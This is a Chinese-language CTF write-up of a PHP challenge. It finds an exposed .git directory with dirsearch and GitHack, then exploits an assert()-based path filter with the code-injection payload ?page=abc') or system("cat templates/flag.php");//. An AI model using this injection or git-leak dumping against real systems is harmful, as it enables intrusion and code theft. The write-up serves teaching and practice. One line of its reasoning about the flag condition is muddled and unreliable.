题目
writeup
查看页面源代码
发现:
?page=flag
于是尝试一下
发现可访问,但是没东西
于是尝试看看其他地方
发现About页面
看到了Git
怀疑是git泄露
于是利用dirsearch扫一下
发现了/.git/
访问
利用GitHack下载源码
得到一个以url命名的文件夹
打开发现了flag.php
但是啥都没有
再看index.php
即
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
分析代码可知,
若想得到flag,即得到"Detected hacking attempt!"
则需要给page传入的须满足
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
尝试
?page=abc') or system("cat templates/flag.php");//
即
$file = "templates/?page=abc') or system("cat templates/flag.php");//.php";
即
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");
得到
知识点
1、dirsearch-master
相当好用的轻量扫描
https://www.freebuf.com/column/153277.html
常用
python3 dirsearch.py -u url -e php
2、GitHack
一个git泄露利用脚本,很好用~
https://www.freebuf.com/sectool/66096.html
常用
python27 GitHack.py url/.git/
3、strpos()
<?php
echo strpos("You love php, I love php too!","php");
?>
运行结果:9
4、assert()
https://www.cnblogs.com/yuerdongni/archive/2013/10/12/3364954.html
用来判断一个表达式是否成立。返回true or false